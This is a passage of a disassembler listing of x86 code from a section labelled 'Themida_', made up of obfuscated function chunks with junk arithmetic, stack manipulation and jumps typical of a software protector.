loc_56EEE7: ; CODE XREF: sub_566B79+16j add [esp+4], ecx add dword ptr [esp+4], 6D251A85h pop ecx pop dword ptr [esp+0] push 2F53h jmp loc_564905 ; END OF FUNCTION CHUNK FOR sub_566B79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_56EF01: ; CODE XREF: sub_565B6E-12B9j mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop edi push ebp mov ebp, 45B67638h jmp loc_563F1E ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_56EF17: ; CODE XREF: sub_564CDA+A55j sub ebp, 0D9861ADh jmp loc_563CE1 ; END OF FUNCTION CHUNK FOR sub_564CDA ; =============== S U B R O U T I N E ======================================= sub_56EF22 proc near ; DATA XREF: Themida_:0055FF10o mov esp, [esp+0] jmp loc_55FF9F sub_56EF22 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56EF2A: ; CODE XREF: sub_563A7F+58E2j mov edx, 0 sub edx, 679C747Ch jmp loc_5601BF ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56EF3A: ; CODE XREF: sub_571F6F-76F8j pop edi xchg eax, [esp+0] mov esp, [esp+0] push 20C7h mov [esp+4+var_4], ebx push 5CACh mov [esp+8+var_8], ecx push eax mov ah, dl jmp loc_5671FF ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- loc_56EF59: ; CODE XREF: Themida_:005716B2j sub ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4 sub edx, ebp jmp loc_564D97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56EF77: ; CODE XREF: sub_5605BC+13923j xor edx, ebx pop ebx sub edx, 4747672Eh mov esi, edx pop edx jmp loc_574088 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_56EF88: ; CODE XREF: sub_56D3AF+392Aj mov [esp+8+var_8], ebx push esi mov esi, 78B5160Bh mov ebx, esi pop esi xor ebx, 14F34D30h sub ebx, 0FDFE58D2h add ebx, 91B7FD9Bh push 1183h jmp loc_561A46 ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56EFB0: ; CODE XREF: sub_570E81-35CAj mov edx, 1CAB5663h jmp loc_56CC51 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56EFBA: ; CODE XREF: sub_571F6F-816Aj sub bl, 70h push dx mov dl, 8Ch add bl, dl pop dx jmp loc_570E67 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_56EFCA: ; CODE XREF: sub_5680FB+8CAFj push [esp+8+var_8] jmp loc_56227E ; END OF FUNCTION CHUNK FOR sub_5680FB ; =============== S U B R O U T I N E ======================================= sub_56EFD2 proc near ; CODE XREF: sub_5716E8-3F28j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560D1D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00562643 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00562F18 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00563A6E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00564DC5 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005688AD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B685 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056DF65 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005707E8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00570983 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005715BD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00573939 SIZE 00000005 BYTES sub esp, 4 mov [esp+4+var_4], esp jmp loc_56DF65 sub_56EFD2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_56EFDD: ; CODE XREF: sub_56B71F-155Aj xor ebp, edx xor edx, ebp jmp loc_56F3FE ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_56EFE6: ; CODE XREF: sub_5680AC+2j pop ebp not edx inc edx dec edx shl edx, 4 add edx, 602D6F75h jmp loc_566935 ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_56EFF9: ; CODE XREF: sub_571C0A+2D3Aj add ebx, edi xor ecx, [ebx] pop ebx push edx push ebp push 6BA333D1h pop ebp sub ebp, 2B146DC0h xor ebp, 393B63DFh jmp loc_567D17 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- loc_56F017: ; CODE XREF: Themida_:005701E6j mov edx, 0CC977E4h mov eax, edx pop edx add eax, 1E47DD1Ah jmp loc_569E8E ; =============== S U B R O U T I N E ======================================= sub_56F029 proc near ; DATA XREF: Themida_:0055FF18o var_4 = word ptr -4 var_2 = word ptr -2 xor [esp+0], bp xor bp, [esp+0] xor [esp+0], bp push bp push small 692Bh mov [esp+4+var_4], bx pop bp pop bx push small 4456h mov [esp+2+var_2], bx jmp sub_561826 sub_56F029 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574503 loc_56F050: ; CODE XREF: sub_574503+12j push esi mov esi, 703E3D20h not esi inc esi add esi, 1EAC739Eh or esi, 64992F53h add esi, 1100C085h sub ebx, esi pop esi xchg ebx, [esp+4+var_4] jmp loc_56BBFA ; END OF FUNCTION CHUNK FOR sub_574503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D93 loc_56F076: ; CODE XREF: sub_568D93+A3A3j mov ebx, 5E6776ACh jmp sub_568F83 ; END OF FUNCTION CHUNK FOR sub_568D93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_56F080: ; CODE XREF: sub_571289+135Bj dec esi or esi, 36AF750Ch jmp loc_56046F ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56F08C: ; CODE XREF: sub_574656-AA3Ej mov [esp+0Ch+var_C], esi push edi mov edi, 3BB1319Bh push ebx push eax mov eax, 73731516h mov ebx, eax jmp loc_573E66 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56F0A3: ; CODE XREF: sub_571C93-67EEj add ecx, 0CCBE5A1h xor ecx, eax mov eax, [esp+0Ch+var_C] add esp, 4 sub edi, ecx pop ecx jmp loc_561806 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56F0B9: ; CODE XREF: sub_561F05+5606j push ecx pop ebx pop ecx dec ebx sub ebx, 499B3488h xor ebx, 4A1015CCh push ebp sub esp, 4 mov [esp+10h+var_10], esi mov esi, 4B62424Ch mov ebp, 7829B116h jmp loc_56FD40 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56F0E2: ; CODE XREF: sub_571F6F-6463j mov dh, cl mov bh, dh jmp loc_5609AC ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56F0EB: ; CODE XREF: sub_571088-A666j add al, ch pop cx mov dx, [esp+0] add esp, 2 sub esp, 4 mov [esp+0], ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_560FDF ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56F10C: ; CODE XREF: sub_5734A7-72BCj pop esp push 0 push [esp+8+var_8] mov ebx, [esp+0Ch+var_C] push edi jmp loc_56B1FF ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566882 loc_56F11E: ; CODE XREF: sub_566882+13j xchg ebx, [esp+4+var_4] pop esp mov [esp+0], edx mov edx, esp push ebx mov ebx, 4 jmp sub_565849 ; END OF FUNCTION CHUNK FOR sub_566882 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_56F132: ; CODE XREF: sub_565849+CFECj pop esp jmp loc_564D45 ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C474 loc_56F138: ; CODE XREF: sub_56C474-211Cj add esp, 4 add ebx, edi pop edi jmp loc_56B03C ; END OF FUNCTION CHUNK FOR sub_56C474 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_56F143: ; CODE XREF: sub_56B1DC+8011j push 7B4B7CD1h pop ecx jmp loc_56D482 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56F14E: ; CODE XREF: sub_567CF5+69D9j xchg esi, [esp+0] jmp loc_574BD7 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56F156: ; CODE XREF: sub_56102D+684Cj push [esp-4+arg_0] pop ecx push 11E1h mov [esp+0], ecx sub esp, 4 mov [esp+4+var_4], esp push edx mov edx, 4 add [esp+8+var_4], edx pop edx pop ecx add ecx, 4 push 76F7h jmp loc_5608DA ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56F187: ; CODE XREF: sub_568E5C-82B0j mov esp, [esp+0] jmp loc_56E02C ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56F18F: ; CODE XREF: sub_5713A7-5EB1j mov [esp+8+var_8], edi mov edi, 9CD0959h sub edx, edi pop edi push 5C1Ah jmp loc_56F520 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- loc_56F1A4: ; CODE XREF: Themida_:00565C54j jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56F1A9: ; CODE XREF: sub_570732-6B5j add ebx, esi pop esi jmp loc_5707F1 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56F1B1: ; CODE XREF: sub_574304-28DDj xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edi push 4000h pop edi and eax, edi push [esp-4+arg_0] mov edi, [esp+0] push ebp push esp pop ebp push eax jmp loc_565734 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56F1CF: ; CODE XREF: sub_561418+10E13j sub eax, edi sub eax, 7AEA6268h jmp loc_575031 ; END OF FUNCTION CHUNK FOR sub_561418 ; =============== S U B R O U T I N E ======================================= sub_56F1DB proc near ; CODE XREF: sub_569CBC-5AB7j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 005600B7 SIZE 0000005E BYTES ; FUNCTION CHUNK AT 0056028B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00562DC6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056332D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00564D11 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566F28 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00568EF4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00569450 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056953E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056ADBE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056C934 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056F4F2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056FE40 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571C1E SIZE 0000001B BYTES push ebp jmp loc_562DC6 sub_56F1DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56F1E1: ; CODE XREF: sub_569193+7729j mov edi, [esp+10h+var_10] jmp loc_5749FD ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56306E loc_56F1E9: ; CODE XREF: sub_56306E+11404j add ecx, edx jmp loc_5645A0 ; END OF FUNCTION CHUNK FOR sub_56306E ; =============== S U B R O U T I N E ======================================= sub_56F1F0 proc near ; CODE XREF: sub_566F55+6106j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005620E1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00562931 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00566F4A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00574CFA SIZE 0000000C BYTES push ebp mov ebp, 760B3D46h jmp loc_566F4A sub_56F1F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56F1FB: ; CODE XREF: sub_5754DA-D5A9j pop dx jmp loc_56CE82 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_56F202: ; CODE XREF: sub_57523A-F846j mov edx, [esp+8+var_8] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp push esi push eax mov eax, 2CC13FBAh shl eax, 6 neg eax sub eax, 729D3DC6h jmp loc_567E8B ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56F22B: ; CODE XREF: sub_56651E+758Fj push esp jmp loc_569DD2 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56F231: ; CODE XREF: sub_564D26-3D7Aj not [esp+10h+var_10] jmp loc_569FB0 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_56F239: ; CODE XREF: Themida_:00570782j add edx, 4 jmp loc_56CF90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_56F244: ; CODE XREF: sub_5745B5-12F7Dj mov ch, dh jmp loc_56FCC4 ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_56F24B: ; CODE XREF: sub_566400-52F9j add eax, edi pop edi sub eax, edx sub eax, 1DF80501h pop edx jmp loc_568448 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- loc_56F25B: ; CODE XREF: Themida_:00572878j add ebp, esi pop esi push ebx push eax jmp loc_56E4BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_56F265: ; CODE XREF: sub_56FCD7-AA86j mov esp, [esp+0Ch+var_C] jmp loc_573D7F ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56F26D: ; CODE XREF: sub_565632+E729j add ebx, ebp add ebx, 499E6BF9h add ebx, 1D4275CDh add ebx, 502F1CDEh jmp loc_568808 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_56F286: ; CODE XREF: sub_5680FB+11j xchg ebp, [esp+4+var_4] sub esp, 4 jmp loc_56B7A6 ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56F294: ; CODE XREF: sub_57146D-1116Bj xor al, bh mov ebx, [esp+4+var_4] jmp loc_56D835 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_56F29E: ; CODE XREF: sub_5715F0-D834j add dword ptr [esp+8], 6D49345Ch pop ecx jmp loc_560296 ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56F2AC: ; CODE XREF: sub_57146D-CBFj xor bh, ah add ah, 0FFh not ah sub esp, 2 mov word ptr [esp+8+var_8], dx push 38A9h mov [esp+0Ch+var_C], ecx mov ch, ah mov dh, ch pop ecx push edx push eax mov al, bh mov dl, al pop eax mov ah, dl pop edx push ecx mov cl, dh sub esp, 4 mov [esp+10h+var_10], edx mov dl, cl push ecx mov cl, dl jmp loc_571F92 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56F2EA: ; CODE XREF: sub_565632+8E48j push edx jmp loc_573D30 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_56F2F0: ; CODE XREF: sub_575315-C889j mov ebp, [esp+0] add esp, 4 xor ebp, 5820000Ch jmp loc_563583 ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- loc_56F304: ; CODE XREF: Themida_:00573C8Fj push dword ptr [esp] mov ecx, [esp] add esp, 4 push edx mov edx, esp jmp loc_56C0DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56F318: ; CODE XREF: sub_571088-5EE0j dec edi xor edi, 1732C7Bh xor edi, 59D34262h add ebp, edi pop edi pop edi push ebp push dword ptr [esp+4] jmp loc_564134 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_56F333: ; CODE XREF: sub_569AB3-9A62j add eax, 0B9C1BC92h add ebp, eax pop eax sub ebp, 4 jmp loc_5749EE ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_56F343: ; CODE XREF: sub_56BD36-9EB9j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56BD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56F348: ; CODE XREF: sub_56FA44+498j mov esp, [esp+0] shr [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_56F355: ; CODE XREF: sub_571890+3669j add esi, edx pop edx xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] push 2864h mov [esp-4+arg_0], ebx push 6A17h mov [esp+0], ecx mov ecx, 65577F12h dec ecx jmp loc_5698E7 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_56F379: ; CODE XREF: sub_5610CE+10177j pop edx jmp loc_568A5E ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- loc_56F37F: ; CODE XREF: Themida_:0056CECDj pop edx or edi, esi pop esi push 10B4h mov [esp], ebx mov ebx, 539B409Ch jmp loc_568780 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56F395: ; CODE XREF: sub_571088-2203j mov cl, 0D4h add bl, cl jmp loc_565713 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56F39E: ; CODE XREF: sub_56B06D-4E70j xor ebp, 6341375Eh inc ebp and ebp, 3D994820h neg ebp jmp loc_5667AC ; END OF FUNCTION CHUNK FOR sub_56B06D ; =============== S U B R O U T I N E ======================================= sub_56F3B2 proc near ; DATA XREF: Themida_:0055FEB0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560A35 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00562C1F SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005651F2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005671B2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569408 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056C953 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056CE2A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056DBE5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056DF43 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056E88D SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00571D2B SIZE 00000008 BYTES mov cx, [esp+0] jmp loc_571D2B sub_56F3B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56F3BB: ; CODE XREF: sub_569FB8+6B5Bj mov dh, ah push ecx mov ch, dh mov bl, ch pop ecx pop edx push [esp+0Eh+var_E] pop eax add esp, 4 mov ecx, [esp+0Ah+var_A] push 5AB2h mov [esp+0Eh+var_E], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+0Eh+var_E] jmp loc_5745CF ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56F3EC: ; CODE XREF: sub_565632+5F05j push edi mov edi, 43492386h and ecx, edi jmp loc_574716 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_56F3F9: ; CODE XREF: sub_573612-896Cj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_56F3FE: ; CODE XREF: sub_56B71F+38C2j not ebp sub esp, 4 jmp loc_567F67 ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_56F40B: ; CODE XREF: sub_56DD54+6j and ebp, 0AEE2C51h jmp loc_561B70 ; END OF FUNCTION CHUNK FOR sub_56DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56F416: ; CODE XREF: sub_5604FE+37A7j mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+8+var_8] xor [esp+8+var_8], eax xor eax, [esp+8+var_8] pop esp push 5B0Ah mov [esp+8+var_8], edi mov edi, 3D225AF7h and edi, 59F45FBCh add edi, 11603309h jmp loc_56D55B ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56F448: ; CODE XREF: sub_56E126+547Fj xor ebx, eax pop eax push esi mov esi, 535E4AEFh jmp loc_56DCAD ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_56F456: ; CODE XREF: sub_572DD7+5D3j mov [esp+4+var_4], ebx mov ebx, 18725E8Bh add dword ptr [esp+4], 247A6EF6h add [esp+4], ebx sub dword ptr [esp+4], 247A6EF6h pop ebx add dword ptr [esp+0], 20CD74EDh push 46DCh mov [esp+4+var_4], esi mov esi, 48EF75E9h jmp loc_5648CC ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56F48C: ; CODE XREF: sub_561F05+F244j pop eax add esi, edx mov edx, [esp+4+var_4] push eax jmp loc_56FB1B ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56F498: ; CODE XREF: sub_574656+1j mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp+0] mov esp, [esp+0] push eax mov eax, esp add eax, 4 jmp loc_56922A ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56F4B3: ; CODE XREF: sub_565632-1AC2j mov edi, [esp+0] jmp loc_56F837 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_56F4BB: ; CODE XREF: sub_572E16-12738j pop esi sub esp, 4 mov [esp+8+var_8], edx mov edx, 4 add eax, edx mov edx, [esp+8+var_8] add esp, 4 jmp loc_562454 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56F4D7: ; CODE XREF: sub_5605BC+34j add edx, edi jmp loc_567510 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_56F4DE: ; CODE XREF: sub_571890-1038Bj push [esp+8+var_8] pop eax push ecx jmp loc_561AD8 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56F4E8: ; CODE XREF: sub_56FA15-403Cj mov ebx, 4 jmp loc_575350 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56F4F2: ; CODE XREF: sub_56F1DB+2A59j pop esp mov [esp-4+arg_0], eax push 13510169h push dword ptr [esp+0] push [esp+4+var_4] pop eax jmp loc_56332D ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56F507: ; CODE XREF: sub_570FB7+282j shl eax, 5 jmp loc_56DB7E ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56F50F: ; CODE XREF: sub_561027+B18Dj sub ebp, 40300041h pop esi push 7F0h jmp loc_56A647 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56F520: ; CODE XREF: sub_5713A7-2208j mov [esp+8+var_8], ebx jmp loc_56CC2D ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_56F528: ; CODE XREF: sub_56C4FF-3C35j pop ebp add eax, 4 sub esp, 4 mov [esp+8+var_8], eax push [esp+8+var_4] mov eax, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] mov esp, [esp+4+var_4] add esp, 4 jmp loc_570FD1 ; END OF FUNCTION CHUNK FOR sub_56C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56F54D: ; CODE XREF: sub_574FC9+35Aj pop edi jmp loc_572993 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56489B loc_56F553: ; CODE XREF: sub_56489B+10j mov al, cl jmp loc_5622F9 ; END OF FUNCTION CHUNK FOR sub_56489B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56F55A: ; CODE XREF: sub_56AEF2-8D67j add eax, ecx add eax, 4194F79h jmp loc_5751EA ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_56F566: ; CODE XREF: sub_570C6A+1Aj pop esp mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_56692C ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56F573: ; CODE XREF: sub_564D26-1B00j or ebp, 248A0E40h add ebp, 0F7DAEC4Ch mov ecx, ebp mov ebp, [esp+20h+var_20] add esp, 4 sub edx, ecx mov ecx, [esp+1Ch+var_1C] jmp loc_56D6ED ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_56F591: ; CODE XREF: sub_569AB3+1C67j xor ecx, 0A9F8BD1Eh jmp loc_5639A2 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_56F59C: ; CODE XREF: sub_566AF9+10j mov edx, 6C0E1A15h jmp loc_5695B8 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56F5A6: ; CODE XREF: sub_568764-5EE1j push dword ptr [esp+0] jmp loc_563931 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- 